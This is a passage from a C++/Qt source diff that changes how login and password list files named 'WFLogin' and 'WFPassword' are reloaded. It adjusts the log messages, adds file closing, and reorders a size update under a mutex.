loaded (" + QString::number(MaxWFLogin) + " entries)"); + if(FileUpdater::oldWFLoginLstSize == 0) stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)"); + else stt->doEmitionFoundData("<font color=\"Pink\">WFLogin list updated (" + QString::number(MaxWFLogin) + " entries)</font>"); + fclose(wfLoginList); } } @@ -402,7 +409,9 @@ void *updateWFPass() { ZeroMemory(buffFG, sizeof(buffFG)); }; - stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); + if(FileUpdater::oldWFPassLstSize == 0) stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)"); + else stt->doEmitionFoundData("<font color=\"Pink\">WFPassword list updated (" + QString::number(MaxWFPass) + " entries)</font>"); + fclose(wfPassList); } } @@ -417,8 +426,8 @@ void updateList(const char *fileName, long *szPtr, void *funcPtr(void)) { if(sz != *szPtr) { FileUpdater::lk = std::unique_lock<std::mutex> (FileUpdater::filesUpdatingMutex); - *szPtr = sz; funcPtr(); + *szPtr = sz; FileUpdater::lk.unlock(); FileUpdater::ready = true; FileUpdater::cv.notify_one();